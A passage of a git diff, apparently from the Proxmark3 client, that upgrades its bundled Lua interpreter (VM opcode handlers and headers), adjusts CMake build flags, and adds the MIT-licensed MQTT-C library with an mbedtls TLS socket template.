} + vmcase(OP_EQ) { + StkId ra = RA(i); + int cond; + TValue *rb = vRB(i); + Protect(cond = luaV_equalobj(L, s2v(ra), rb)); + docondjump(); + vmbreak; + } + vmcase(OP_LT) { + op_order(L, l_lti, LTnum, lessthanothers); + vmbreak; + } + vmcase(OP_LE) { + op_order(L, l_lei, LEnum, lessequalothers); + vmbreak; + } + vmcase(OP_EQK) { + StkId ra = RA(i); + TValue *rb = KB(i); + /* basic types do not use '__eq'; we can use raw equality */ + int cond = luaV_rawequalobj(s2v(ra), rb); + docondjump(); + vmbreak; + } + vmcase(OP_EQI) { + StkId ra = RA(i); + int cond; + int im = GETARG_sB(i); + if (ttisinteger(s2v(ra))) + cond = (ivalue(s2v(ra)) == im); + else if (ttisfloat(s2v(ra))) + cond = luai_numeq(fltvalue(s2v(ra)), cast_num(im)); + else + cond = 0; /* other types cannot be equal to a number */ + docondjump(); + vmbreak; + } + vmcase(OP_LTI) { + op_orderI(L, l_lti, luai_numlt, 0, TM_LT); + vmbreak; + } + vmcase(OP_LEI) { + op_orderI(L, l_lei, luai_numle, 0, TM_LE); + vmbreak; + } + vmcase(OP_GTI) { + op_orderI(L, l_gti, luai_numgt, 1, TM_LT); + vmbreak; + } + vmcase(OP_GEI) { + op_orderI(L, l_gei, luai_numge, 1, TM_LE); + vmbreak; + } + vmcase(OP_TEST) { + StkId ra = RA(i); + int cond = !l_isfalse(s2v(ra)); + docondjump(); + vmbreak; + } + vmcase(OP_TESTSET) { + StkId ra = RA(i); + TValue *rb = vRB(i); + if (l_isfalse(rb) == GETARG_k(i)) + pc++; + else { + setobj2s(L, ra, rb); + donextjump(ci); + } + vmbreak; + } + vmcase(OP_CALL) { + StkId ra = RA(i); + CallInfo *newci; + int b = GETARG_B(i); + int nresults = GETARG_C(i) - 1; + if (b != 0) /* fixed number of arguments? */ + L->top.p = ra + b; /* top signals number of arguments */ + /* else previous instruction set top */ + savepc(L); /* in case of errors */ + if ((newci = luaD_precall(L, ra, nresults)) == NULL) + updatetrap(ci); /* C call; nothing else to be done */ + else { /* Lua call: run function in this same C frame */ + ci = newci; + goto startfunc; + } + vmbreak; + } + vmcase(OP_TAILCALL) { + StkId ra = RA(i); + int b = GETARG_B(i); /* number of arguments + 1 (function) */ + int n; /* number of results when calling a C function */ + int nparams1 = GETARG_C(i); + /* delta is virtual 'func' - real 'func' (vararg functions) */ + int delta = (nparams1) ? ci->u.l.nextraargs + nparams1 : 0; + if (b != 0) + L->top.p = ra + b; + else /* previous instruction set top */ + b = cast_int(L->top.p - ra); + savepc(ci); /* several calls here can raise errors */ + if (TESTARG_k(i)) { + luaF_closeupval(L, base); /* close upvalues from current call */ + lua_assert(L->tbclist.p < base); /* no pending tbc variables */ + lua_assert(base == ci->func.p + 1); + } + if ((n = luaD_pretailcall(L, ci, ra, b, delta)) < 0) /* Lua function? */ + goto startfunc; /* execute the callee */ + else { /* C function? */ + ci->func.p -= delta; /* restore 'func' (if vararg) */ + luaD_poscall(L, ci, n); /* finish caller */ + updatetrap(ci); /* 'luaD_poscall' can change hooks */ + goto ret; /* caller returns after the tail call */ + } + } + vmcase(OP_RETURN) { + StkId ra = RA(i); + int n = GETARG_B(i) - 1; /* number of results */ + int nparams1 = GETARG_C(i); + if (n < 0) /* not fixed? */ + n = cast_int(L->top.p - ra); /* get what is available */ + savepc(ci); + if (TESTARG_k(i)) { /* may there be open upvalues? */ + ci->u2.nres = n; /* save number of returns */ + if (L->top.p < ci->top.p) + L->top.p = ci->top.p; + luaF_close(L, base, CLOSEKTOP, 1); + updatetrap(ci); + updatestack(ci); + } + if (nparams1) /* vararg function? */ + ci->func.p -= ci->u.l.nextraargs + nparams1; + L->top.p = ra + n; /* set call for 'luaD_poscall' */ + luaD_poscall(L, ci, n); + updatetrap(ci); /* 'luaD_poscall' can change hooks */ + goto ret; + } + vmcase(OP_RETURN0) { + if (l_unlikely(L->hookmask)) { + StkId ra = RA(i); + L->top.p = ra; + savepc(ci); + luaD_poscall(L, ci, 0); /* no hurry... */ + trap = 1; + } else { /* do the 'poscall' here */ + int nres; + L->ci = ci->previous; /* back to caller */ + L->top.p = base - 1; + for (nres = ci->nresults; l_unlikely(nres > 0); nres--) + setnilvalue(s2v(L->top.p++)); /* all results are nil */ + } + goto ret; + } + vmcase(OP_RETURN1) { + if (l_unlikely(L->hookmask)) { + StkId ra = RA(i); + L->top.p = ra + 1; + savepc(ci); + luaD_poscall(L, ci, 1); /* no hurry... */ + trap = 1; + } else { /* do the 'poscall' here */ + int nres = ci->nresults; + L->ci = ci->previous; /* back to caller */ + if (nres == 0) + L->top.p = base - 1; /* asked for no results */ + else { + StkId ra = RA(i); + setobjs2s(L, base - 1, ra); /* at least this result */ + L->top.p = base; + for (; l_unlikely(nres > 1); nres--) + setnilvalue(s2v(L->top.p++)); /* complete missing results */ + } + } +ret: /* return from a Lua function */ + if (ci->callstatus & CIST_FRESH) + return; /* end this frame */ + else { + ci = ci->previous; + goto returning; /* continue running caller in this frame */ + } + } + vmcase(OP_FORLOOP) { + StkId ra = RA(i); + if (ttisinteger(s2v(ra + 2))) { /* integer loop? */ + lua_Unsigned count = l_castS2U(ivalue(s2v(ra + 1))); + if (count > 0) { /* still more iterations? */ + lua_Integer step = ivalue(s2v(ra + 2)); + lua_Integer idx = ivalue(s2v(ra)); /* internal index */ + chgivalue(s2v(ra + 1), count - 1); /* update counter */ + idx = intop(+, idx, step); /* add step to index */ + chgivalue(s2v(ra), idx); /* update internal index */ + setivalue(s2v(ra + 3), idx); /* and control variable */ + pc -= GETARG_Bx(i); /* jump back */ + } + } else if (floatforloop(ra)) /* float loop */ + pc -= GETARG_Bx(i); /* jump back */ + updatetrap(ci); /* allows a signal to break the loop */ + vmbreak; + } + vmcase(OP_FORPREP) { + StkId ra = RA(i); + savestate(L, ci); /* in case of errors */ + if (forprep(L, ra)) + pc += GETARG_Bx(i) + 1; /* skip the loop */ + vmbreak; + } + vmcase(OP_TFORPREP) { + StkId ra = RA(i); + /* create to-be-closed upvalue (if needed) */ + halfProtect(luaF_newtbcupval(L, ra + 3)); + pc += GETARG_Bx(i); + i = *(pc++); /* go to next instruction */ + lua_assert(GET_OPCODE(i) == OP_TFORCALL && ra == RA(i)); + goto l_tforcall; + } + vmcase(OP_TFORCALL) { +l_tforcall: { + StkId ra = RA(i); + /* 'ra' has the iterator function, 'ra + 1' has the state, + 'ra + 2' has the control variable, and 'ra + 3' has the + to-be-closed variable. The call will use the stack after + these values (starting at 'ra + 4') + */ + /* push function, state, and control variable */ + memcpy(ra + 4, ra, 3 * sizeof(*ra)); + L->top.p = ra + 4 + 3; + ProtectNT(luaD_call(L, ra + 4, GETARG_C(i))); /* do the call */ + updatestack(ci); /* stack may have changed */ + i = *(pc++); /* go to next instruction */ + lua_assert(GET_OPCODE(i) == OP_TFORLOOP && ra == RA(i)); + goto l_tforloop; + } + } + vmcase(OP_TFORLOOP) { +l_tforloop: { + StkId ra = RA(i); + if (!ttisnil(s2v(ra + 4))) { /* continue loop? */ + setobjs2s(L, ra + 2, ra + 4); /* save control variable */ + pc -= GETARG_Bx(i); /* jump back */ + } + vmbreak; + } + } + vmcase(OP_SETLIST) { + StkId ra = RA(i); + int n = GETARG_B(i); + unsigned int last = GETARG_C(i); + Table *h = hvalue(s2v(ra)); + if (n == 0) + n = cast_int(L->top.p - ra) - 1; /* get up to the top */ + else + L->top.p = ci->top.p; /* correct top in case of emergency GC */ + last += n; + if (TESTARG_k(i)) { + last += GETARG_Ax(*pc) * (MAXARG_C + 1); + pc++; + } + if (last > luaH_realasize(h)) /* needs more space? */ + luaH_resizearray(L, h, last); /* preallocate it at once */ + for (; n > 0; n--) { + TValue *val = s2v(ra + n); + setobj2t(L, &h->array[last - 1], val); + last--; luaC_barrierback(L, obj2gco(h), val); } - L->top = ci->top; /* correct top (in case of previous open call) */ - ) - vmcase(OP_CLOSURE, - Proto *p = cl->p->p[GETARG_Bx(i)]; - Closure *ncl = getcached(p, cl->upvals, base); /* cached closure */ - if (ncl == NULL) /* no match? */ - pushclosure(L, p, cl->upvals, base, ra); /* create a new one */ - else - setclLvalue(L, ra, ncl); /* push cashed closure */ - checkGC(L, ra + 1); - ) - vmcase(OP_VARARG, - int b = GETARG_B(i) - 1; - int j; - int n = cast_int(base - ci->func) - cl->p->numparams - 1; - if (b < 0) { /* B == 0? */ - b = n; /* get all var. arguments */ - Protect(luaD_checkstack(L, n)); - ra = RA(i); /* previous call may change the stack */ - L->top = ra + n; - } - for (j = 0; j < b; j++) { - if (j < n) { - setobjs2s(L, ra + j, base - n + j); - } else { - setnilvalue(ra + j); - } + vmbreak; + } + vmcase(OP_CLOSURE) { + StkId ra = RA(i); + Proto *p = cl->p->p[GETARG_Bx(i)]; + halfProtect(pushclosure(L, p, cl->upvals, base, ra)); + checkGC(L, ra + 1); + vmbreak; + } + vmcase(OP_VARARG) { + StkId ra = RA(i); + int n = GETARG_C(i) - 1; /* required results */ + Protect(luaT_getvarargs(L, ci, ra, n)); + vmbreak; + } + vmcase(OP_VARARGPREP) { + ProtectNT(luaT_adjustvarargs(L, GETARG_A(i), ci, cl->p)); + if (l_unlikely(trap)) { /* previous "Protect" updated trap */ + luaD_hookcall(L, ci); + L->oldpc = 1; /* next opcode will be seen as a "new" line */ + } + updatebase(ci); /* function has new base after adjustment */ + vmbreak; + } + vmcase(OP_EXTRAARG) { + lua_assert(0); + vmbreak; } - ) - vmcase(OP_EXTRAARG, - lua_assert(0); - ) } } } +/* }================================================================== */ diff --git a/client/deps/liblua/lvm.h b/client/deps/liblua/lvm.h index 5a6ec9913..06b9bf612 100644 --- a/client/deps/liblua/lvm.h +++ b/client/deps/liblua/lvm.h @@ -1,5 +1,5 @@ /* -** $Id: lvm.h,v 2.18 2013/01/08 14:06:55 roberto Exp $ +** $Id: lvm.h $ ** Lua virtual machine ** See Copyright Notice in lua.h */ @@ -13,32 +13,129 @@ #include "ltm.h" -#define tostring(L,o) (ttisstring(o) || (luaV_tostring(L, o))) - -#define tonumber(o,n) (ttisnumber(o) || (((o) = luaV_tonumber(o,n)) != NULL)) - -#define equalobj(L,o1,o2) (ttisequal(o1, o2) && luaV_equalobj_(L, o1, o2)) - -#define luaV_rawequalobj(o1,o2) equalobj(NULL,o1,o2) +#if !defined(LUA_NOCVTN2S) +#define cvt2str(o) ttisnumber(o) +#else +#define cvt2str(o) 0 /* no conversion from numbers to strings */ +#endif -/* not to called directly */ -LUAI_FUNC int luaV_equalobj_(lua_State *L, const TValue *t1, const TValue *t2); +#if !defined(LUA_NOCVTS2N) +#define cvt2num(o) ttisstring(o) +#else +#define cvt2num(o) 0 /* no conversion from strings to numbers */ +#endif +/* +** You can define LUA_FLOORN2I if you want to convert floats to integers +** by flooring them (instead of raising an error if they are not +** integral values) +*/ +#if !defined(LUA_FLOORN2I) +#define LUA_FLOORN2I F2Ieq +#endif + + +/* +** Rounding modes for float->integer coercion + */ +typedef enum { + F2Ieq, /* no rounding; accepts only integral values */ + F2Ifloor, /* takes the floor of the number */ + F2Iceil /* takes the ceil of the number */ +} F2Imod; + + +/* convert an object to a float (including string coercion) */ +#define tonumber(o,n) \ + (ttisfloat(o) ? (*(n) = fltvalue(o), 1) : luaV_tonumber_(o,n)) + + +/* convert an object to a float (without string coercion) */ +#define tonumberns(o,n) \ + (ttisfloat(o) ? ((n) = fltvalue(o), 1) : \ + (ttisinteger(o) ? ((n) = cast_num(ivalue(o)), 1) : 0)) + + +/* convert an object to an integer (including string coercion) */ +#define tointeger(o,i) \ + (l_likely(ttisinteger(o)) ? (*(i) = ivalue(o), 1) \ + : luaV_tointeger(o,i,LUA_FLOORN2I)) + + +/* convert an object to an integer (without string coercion) */ +#define tointegerns(o,i) \ + (l_likely(ttisinteger(o)) ? (*(i) = ivalue(o), 1) \ + : luaV_tointegerns(o,i,LUA_FLOORN2I)) + + +#define intop(op,v1,v2) l_castU2S(l_castS2U(v1) op l_castS2U(v2)) + +#define luaV_rawequalobj(t1,t2) luaV_equalobj(NULL,t1,t2) + + +/* +** fast track for 'gettable': if 't' is a table and 't[k]' is present, +** return 1 with 'slot' pointing to 't[k]' (position of final result). +** Otherwise, return 0 (meaning it will have to check metamethod) +** with 'slot' pointing to an empty 't[k]' (if 't' is a table) or NULL +** (otherwise). 'f' is the raw get function to use. +*/ +#define luaV_fastget(L,t,k,slot,f) \ + (!ttistable(t) \ + ? (slot = NULL, 0) /* not a table; 'slot' is NULL and result is 0 */ \ + : (slot = f(hvalue(t), k), /* else, do raw access */ \ + !isempty(slot))) /* result not empty? */ + + +/* +** Special case of 'luaV_fastget' for integers, inlining the fast case +** of 'luaH_getint'. +*/ +#define luaV_fastgeti(L,t,k,slot) \ + (!ttistable(t) \ + ? (slot = NULL, 0) /* not a table; 'slot' is NULL and result is 0 */ \ + : (slot = (l_castS2U(k) - 1u < hvalue(t)->alimit) \ + ? &hvalue(t)->array[k - 1] : luaH_getint(hvalue(t), k), \ + !isempty(slot))) /* result not empty? */ + + +/* +** Finish a fast set operation (when fast get succeeds). In that case, +** 'slot' points to the place to put the value. +*/ +#define luaV_finishfastset(L,t,slot,v) \ + { setobj2t(L, cast(TValue *,slot), v); \ + luaC_barrierback(L, gcvalue(t), v); } + + +/* +** Shift right is the same as shift left with a negative 'y' +*/ +#define luaV_shiftr(x,y) luaV_shiftl(x,intop(-, 0, y)) + + + +LUAI_FUNC int luaV_equalobj(lua_State *L, const TValue *t1, const TValue *t2); LUAI_FUNC int luaV_lessthan(lua_State *L, const TValue *l, const TValue *r); LUAI_FUNC int luaV_lessequal(lua_State *L, const TValue *l, const TValue *r); -LUAI_FUNC const TValue *luaV_tonumber(const TValue *obj, TValue *n); -LUAI_FUNC int luaV_tostring(lua_State *L, StkId obj); -LUAI_FUNC void luaV_gettable(lua_State *L, const TValue *t, TValue *key, - StkId val); -LUAI_FUNC void luaV_settable(lua_State *L, const TValue *t, TValue *key, - StkId val); +LUAI_FUNC int luaV_tonumber_(const TValue *obj, lua_Number *n); +LUAI_FUNC int luaV_tointeger(const TValue *obj, lua_Integer *p, F2Imod mode); +LUAI_FUNC int luaV_tointegerns(const TValue *obj, lua_Integer *p, + F2Imod mode); +LUAI_FUNC int luaV_flttointeger(lua_Number n, lua_Integer *p, F2Imod mode); +LUAI_FUNC void luaV_finishget(lua_State *L, const TValue *t, TValue *key, + StkId val, const TValue *slot); +LUAI_FUNC void luaV_finishset(lua_State *L, const TValue *t, TValue *key, + TValue *val, const TValue *slot); LUAI_FUNC void luaV_finishOp(lua_State *L); -LUAI_FUNC void luaV_execute(lua_State *L); +LUAI_FUNC void luaV_execute(lua_State *L, CallInfo *ci); LUAI_FUNC void luaV_concat(lua_State *L, int total); -LUAI_FUNC void luaV_arith(lua_State *L, StkId ra, const TValue *rb, - const TValue *rc, TMS op); +LUAI_FUNC lua_Integer luaV_idiv(lua_State *L, lua_Integer x, lua_Integer y); +LUAI_FUNC lua_Integer luaV_mod(lua_State *L, lua_Integer x, lua_Integer y); +LUAI_FUNC lua_Number luaV_modf(lua_State *L, lua_Number x, lua_Number y); +LUAI_FUNC lua_Integer luaV_shiftl(lua_Integer x, lua_Integer y); LUAI_FUNC void luaV_objlen(lua_State *L, StkId ra, const TValue *rb); #endif diff --git a/client/deps/liblua/lzio.c b/client/deps/liblua/lzio.c index 62b8548e9..8d0cc0d14 100644 --- a/client/deps/liblua/lzio.c +++ b/client/deps/liblua/lzio.c @@ -1,15 +1,17 @@ /* -** $Id: lzio.c,v 1.35 2012/05/14 13:34:18 roberto Exp $ +** $Id: lzio.c $ ** Buffered streams ** See Copyright Notice in lua.h */ - -#include - #define lzio_c #define LUA_CORE +#include "lprefix.h" + + +#include + #include "lua.h" #include "llimits.h" @@ -64,13 +66,3 @@ size_t luaZ_read(ZIO *z, void *b, size_t n) { return 0; } -/* ------------------------------------------------------------------------ */ -char *luaZ_openspace(lua_State *L, Mbuffer *buff, size_t n) { - if (n > buff->buffsize) { - if (n < LUA_MINBUFFER) n = LUA_MINBUFFER; - luaZ_resizebuffer(L, buff, n); - } - return buff->buffer; -} - - diff --git a/client/deps/liblua/lzio.h b/client/deps/liblua/lzio.h index 3a6477928..a2bc8993e 100644 --- a/client/deps/liblua/lzio.h +++ b/client/deps/liblua/lzio.h @@ -1,5 +1,5 @@ /* -** $Id: lzio.h,v 1.26 2011/07/15 12:48:03 roberto Exp $ +** $Id: lzio.h $ ** Buffered streams ** See Copyright Notice in lua.h */ @@ -13,7 +13,7 @@ #include "lmem.h" -#define EOZ (-1) /* end of stream */ +#define EOZ (-1) /* end of stream */ typedef struct Zio ZIO; @@ -28,35 +28,36 @@ typedef struct Mbuffer { #define luaZ_initbuffer(L, buff) ((buff)->buffer = NULL, (buff)->buffsize = 0) -#define luaZ_buffer(buff) ((buff)->buffer) -#define luaZ_sizebuffer(buff) ((buff)->buffsize) -#define luaZ_bufflen(buff) ((buff)->n) +#define luaZ_buffer(buff) ((buff)->buffer) +#define luaZ_sizebuffer(buff) ((buff)->buffsize) +#define luaZ_bufflen(buff) ((buff)->n) +#define luaZ_buffremove(buff,i) ((buff)->n -= (i)) #define luaZ_resetbuffer(buff) ((buff)->n = 0) #define luaZ_resizebuffer(L, buff, size) \ - (luaM_reallocvector(L, (buff)->buffer, (buff)->buffsize, size, char), \ - (buff)->buffsize = size) + ((buff)->buffer = luaM_reallocvchar(L, (buff)->buffer, \ + (buff)->buffsize, size), \ + (buff)->buffsize = size) -#define luaZ_freebuffer(L, buff) luaZ_resizebuffer(L, buff, 0) +#define luaZ_freebuffer(L, buff) luaZ_resizebuffer(L, buff, 0) -LUAI_FUNC char *luaZ_openspace(lua_State *L, Mbuffer *buff, size_t n); LUAI_FUNC void luaZ_init(lua_State *L, ZIO *z, lua_Reader reader, void *data); -LUAI_FUNC size_t luaZ_read(ZIO *z, void *b, size_t n); /* read next n bytes */ +LUAI_FUNC size_t luaZ_read(ZIO *z, void *b, size_t n); /* read next n bytes */ /* --------- Private Part ------------------ */ struct Zio { - size_t n; /* bytes still unread */ - const char *p; /* current position in buffer */ - lua_Reader reader; /* reader function */ - void *data; /* additional data */ - lua_State *L; /* Lua state (for reader) */ + size_t n; /* bytes still unread */ + const char *p; /* current position in buffer */ + lua_Reader reader; /* reader function */ + void *data; /* additional data */ + lua_State *L; /* Lua state (for reader) */ }; diff --git a/client/deps/lua.cmake b/client/deps/lua.cmake index 5cf33d724..d89275be6 100644 --- a/client/deps/lua.cmake +++ b/client/deps/lua.cmake @@ -7,6 +7,7 @@ add_library(pm3rrg_rdv4_lua STATIC liblua/ldump.c liblua/lfunc.c liblua/lgc.c + liblua/linit.c liblua/llex.c liblua/lmem.c liblua/lobject.c @@ -21,16 +22,15 @@ add_library(pm3rrg_rdv4_lua STATIC liblua/lzio.c liblua/lauxlib.c liblua/lbaselib.c - liblua/lbitlib.c liblua/lcorolib.c liblua/ldblib.c liblua/liolib.c liblua/lmathlib.c + liblua/loadlib.c liblua/loslib.c liblua/lstrlib.c liblua/ltablib.c - liblua/loadlib.c - liblua/linit.c + liblua/lutf8lib.c ) target_compile_definitions(pm3rrg_rdv4_lua PRIVATE LUA_COMPAT_ALL) @@ -52,5 +52,5 @@ if (NOT MINGW) endif (NOT MINGW) target_include_directories(pm3rrg_rdv4_lua INTERFACE liblua) -target_compile_options(pm3rrg_rdv4_lua PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_lua PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_lua PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/mbedtls.cmake b/client/deps/mbedtls.cmake index 9d06b1c96..f33d5ac51 100644 --- a/client/deps/mbedtls.cmake +++ b/client/deps/mbedtls.cmake @@ -22,7 +22,8 @@ add_library(pm3rrg_rdv4_mbedtls STATIC ../../common/mbedtls/des.c ../../common/mbedtls/ecdsa.c ../../common/mbedtls/md.c - ../../common/mbedtls/md5.c + ../../common/mbedtls/hkdf.c + ../../common/mbedtls/md5.c ../../common/mbedtls/oid.c ../../common/mbedtls/pem.c ../../common/mbedtls/arc4.c @@ -43,10 +44,10 @@ add_library(pm3rrg_rdv4_mbedtls STATIC ../../common/mbedtls/x509.c ../../common/mbedtls/x509_crl.c ../../common/mbedtls/x509_crt.c - ../../common/mbedtls/net_sockets.c + ../../common/mbedtls/net_sockets.c ) target_include_directories(pm3rrg_rdv4_mbedtls PRIVATE ../../common) target_include_directories(pm3rrg_rdv4_mbedtls INTERFACE ../../common/mbedtls) -target_compile_options(pm3rrg_rdv4_mbedtls PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_mbedtls PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_mbedtls PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/mqtt.cmake b/client/deps/mqtt.cmake new file mode 100644 index 000000000..f30e761c3 --- /dev/null +++ b/client/deps/mqtt.cmake @@ -0,0 +1,9 @@ +add_library(pm3rrg_rdv4_mqtt STATIC + mqtt/mqtt.c + mqtt/mqtt_pal.c + ) + +target_compile_definitions(pm3rrg_rdv4_mqtt PRIVATE WAI_PM3_TUNED) +target_include_directories(pm3rrg_rdv4_mqtt INTERFACE mqtt) +target_compile_options(pm3rrg_rdv4_mqtt PRIVATE -Wall -Werror -O3) +set_property(TARGET pm3rrg_rdv4_mqtt PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/mqtt/LICENSE b/client/deps/mqtt/LICENSE new file mode 100644 index 000000000..0bbb84557 --- /dev/null +++ b/client/deps/mqtt/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2018 Liam Bindle + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/client/deps/mqtt/Makefile b/client/deps/mqtt/Makefile new file mode 100644 index 000000000..af4679674 --- /dev/null +++ b/client/deps/mqtt/Makefile @@ -0,0 +1,14 @@ +MYSRCPATHS = +MYINCLUDES = +MYCFLAGS = -Wno-bad-function-cast -Wno-switch-enum +MYDEFS = -DWAI_PM3_TUNED +MYSRCS = \ + mqtt.c \ + mqtt_pal.c \ + +LIB_A = mqtt.a + +# Transition: remove old directories and objects +MYCLEANOLDPATH = ../../mqtt + +include ../../../Makefile.host diff --git a/client/deps/mqtt/mbedtls_sockets.h b/client/deps/mqtt/mbedtls_sockets.h new file mode 100644 index 000000000..1295152f9 --- /dev/null +++ b/client/deps/mqtt/mbedtls_sockets.h @@ -0,0 +1,152 @@ +#if !defined(__MBEDTLS_SOCKET_TEMPLATE_H__) +#define __MBEDTLS_SOCKET_TEMPLATE_H__ + +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#if !defined(MBEDTLS_NET_POLL_READ) +/* compat for older mbedtls */ +#define MBEDTLS_NET_POLL_READ 1 +#define MBEDTLS_NET_POLL_WRITE 1 + +int mbedtls_net_poll(mbedtls_net_context *ctx, uint32_t rw, uint32_t timeout) { + /* XXX this is not ideal but good enough for an example */ + msleep(300); + return 1; +} +#endif + +struct mbedtls_context { + mbedtls_net_context net_ctx; + mbedtls_ssl_context ssl_ctx; + mbedtls_ssl_config ssl_conf; + mbedtls_x509_crt ca_crt; + mbedtls_entropy_context entropy; + mbedtls_ctr_drbg_context ctr_drbg; +}; + +void failed(const char *fn, int rv); +void cert_verify_failed(uint32_t rv); +void open_nb_socket(struct mbedtls_context *ctx, + const char *hostname, + const char *port, + const char *ca_file); + + +void failed(const char *fn, int rv) { + char buf[100]; + mbedtls_strerror(rv, buf, sizeof(buf)); + printf("%s failed with %x (%s)\n", fn, -rv, buf); + exit(1); +} + +void cert_verify_failed(uint32_t rv) { + char buf[512]; + mbedtls_x509_crt_verify_info(buf, sizeof(buf), "\t", rv); + printf("Certificate verification failed (%0" PRIx32 ")\n%s\n", rv, buf); + exit(1); +} + +/* + A template for opening a non-blocking mbed TLS connection. +*/ +void open_nb_socket(struct mbedtls_context *ctx, + const char *hostname, + const char *port, + const char *ca_file) { + + const unsigned char *additional = (const unsigned char *)"Pm3 Client"; + size_t additional_len = 6; + int rv; + + mbedtls_net_context *net_ctx = &ctx->net_ctx; + mbedtls_ssl_context *ssl_ctx = &ctx->ssl_ctx; + mbedtls_ssl_config *ssl_conf = &ctx->ssl_conf; + mbedtls_x509_crt *ca_crt = &ctx->ca_crt; + mbedtls_entropy_context *entropy = &ctx->entropy; + mbedtls_ctr_drbg_context *ctr_drbg = &ctx->ctr_drbg; + + mbedtls_entropy_init(entropy); + mbedtls_ctr_drbg_init(ctr_drbg); + rv = mbedtls_ctr_drbg_seed(ctr_drbg, mbedtls_entropy_func, entropy, + additional, additional_len); + if (rv != 0) { + failed("mbedtls_ctr_drbg_seed", rv); + } + + mbedtls_x509_crt_init(ca_crt); + rv = mbedtls_x509_crt_parse_file(ca_crt, ca_file); + if (rv != 0) { + failed("mbedtls_x509_crt_parse_file", rv); + } + + mbedtls_ssl_config_init(ssl_conf); + rv = mbedtls_ssl_config_defaults(ssl_conf, MBEDTLS_SSL_IS_CLIENT, + MBEDTLS_SSL_TRANSPORT_STREAM, + MBEDTLS_SSL_PRESET_DEFAULT); + if (rv != 0) { + failed("mbedtls_ssl_config_defaults", rv); + } + mbedtls_ssl_conf_ca_chain(ssl_conf, ca_crt, NULL); + mbedtls_ssl_conf_authmode(ssl_conf, MBEDTLS_SSL_VERIFY_OPTIONAL); + mbedtls_ssl_conf_rng(ssl_conf, mbedtls_ctr_drbg_random, ctr_drbg); + + mbedtls_net_init(net_ctx); + rv = mbedtls_net_connect(net_ctx, hostname, port, MBEDTLS_NET_PROTO_TCP); + if (rv != 0) { + failed("mbedtls_net_connect", rv); + } + rv = mbedtls_net_set_nonblock(net_ctx); + if (rv != 0) { + failed("mbedtls_net_set_nonblock", rv); + } + + mbedtls_ssl_init(ssl_ctx); + rv = mbedtls_ssl_setup(ssl_ctx, ssl_conf); + if (rv != 0) { + failed("mbedtls_ssl_setup", rv); + } + rv = mbedtls_ssl_set_hostname(ssl_ctx, hostname); + if (rv != 0) { + failed("mbedtls_ssl_set_hostname", rv); + } + mbedtls_ssl_set_bio(ssl_ctx, net_ctx, + mbedtls_net_send, mbedtls_net_recv, NULL); + + for (;;) { + rv = mbedtls_ssl_handshake(ssl_ctx); + uint32_t want = 0; + if (rv == MBEDTLS_ERR_SSL_WANT_READ) { + want |= MBEDTLS_NET_POLL_READ; + } else if (rv == MBEDTLS_ERR_SSL_WANT_WRITE) { + want |= MBEDTLS_NET_POLL_WRITE; + } else { + break; + } + rv = mbedtls_net_poll(net_ctx, want, (uint32_t) -1); + if (rv < 0) { + failed("mbedtls_net_poll", rv); + } + } + if (rv != 0) { + failed("mbedtls_ssl_handshake", rv); + } + uint32_t result = mbedtls_ssl_get_verify_result(ssl_ctx); + if (result != 0) { + if (result == (uint32_t) -1) { + failed("mbedtls_ssl_get_verify_result", (int)result); + } else { + cert_verify_failed(result); + } + } +} + +#endif diff --git a/client/deps/mqtt/mqtt.c b/client/deps/mqtt/mqtt.c new file mode 100644 index 000000000..b29f9d9d4 --- /dev/null +++ b/client/deps/mqtt/mqtt.c @@ -0,0 +1,1770 @@ +/* +MIT License + +Copyright(c) 2018 Liam Bindle + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files(the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions : + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +*/ + +#include "mqtt.h" + +/** + * @file + * @brief Implements the functionality of MQTT-C. + * @note The only files that are included are mqtt.h and mqtt_pal.h. + * + * @cond Doxygen_Suppress + */ + +enum MQTTErrors mqtt_sync(struct mqtt_client *client) { + /* Recover from any errors */ + enum MQTTErrors err; + int reconnecting = 0; + MQTT_PAL_MUTEX_LOCK(&client->mutex); + if (client->error != MQTT_ERROR_RECONNECTING && client->error != MQTT_OK && client->reconnect_callback != NULL) { + client->reconnect_callback(client, &client->reconnect_state); + if (client->error != MQTT_OK) { + client->error = MQTT_ERROR_RECONNECT_FAILED; + + /* normally 